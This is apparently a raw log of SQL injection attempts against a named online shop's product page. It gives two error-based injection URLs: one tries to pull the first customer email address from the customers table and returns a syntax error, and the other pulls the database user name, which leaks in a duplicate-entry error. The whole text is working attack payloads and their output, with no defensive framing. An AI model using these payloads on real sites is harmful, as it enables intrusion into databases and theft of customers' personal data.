http://www.easyhandwriting.com/catalog/product_info.php/products_id/12' or 1 group by concat((select customers_email_address from customers limit 0,1),floor(rand(0)*2)) having min(0) or 1 -- 1

1064 - You have an error in your SQL syntax

http://www.easyhandwriting.com/catalog/product_info.php/products_id/12' or 1 group by concat(user(),floor(rand(0)*2)) having min(0) or 1 -- 1

1062 - Duplicate entry 'easyhw@localhost1' for key 1